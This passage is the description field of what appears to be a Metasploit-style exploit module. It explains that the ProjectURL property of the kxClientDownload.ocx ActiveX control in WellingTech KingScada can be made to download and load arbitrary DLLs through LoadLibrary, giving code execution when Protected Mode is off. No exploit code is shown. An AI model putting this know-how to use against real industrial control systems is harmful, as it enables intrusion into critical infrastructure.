'Description' => %q{  
This module abuses the kxClientDownload.ocx ActiveX control distributed with WellingTech KingScada.  
The ProjectURL property can be abused to download and load arbitrary DLLs from  
arbitrary locations, leading to arbitrary code execution, because of a dangerous  
usage of LoadLibrary. Due to the nature of the vulnerability, this module will work  
only when Protected Mode is not present or not enabled.
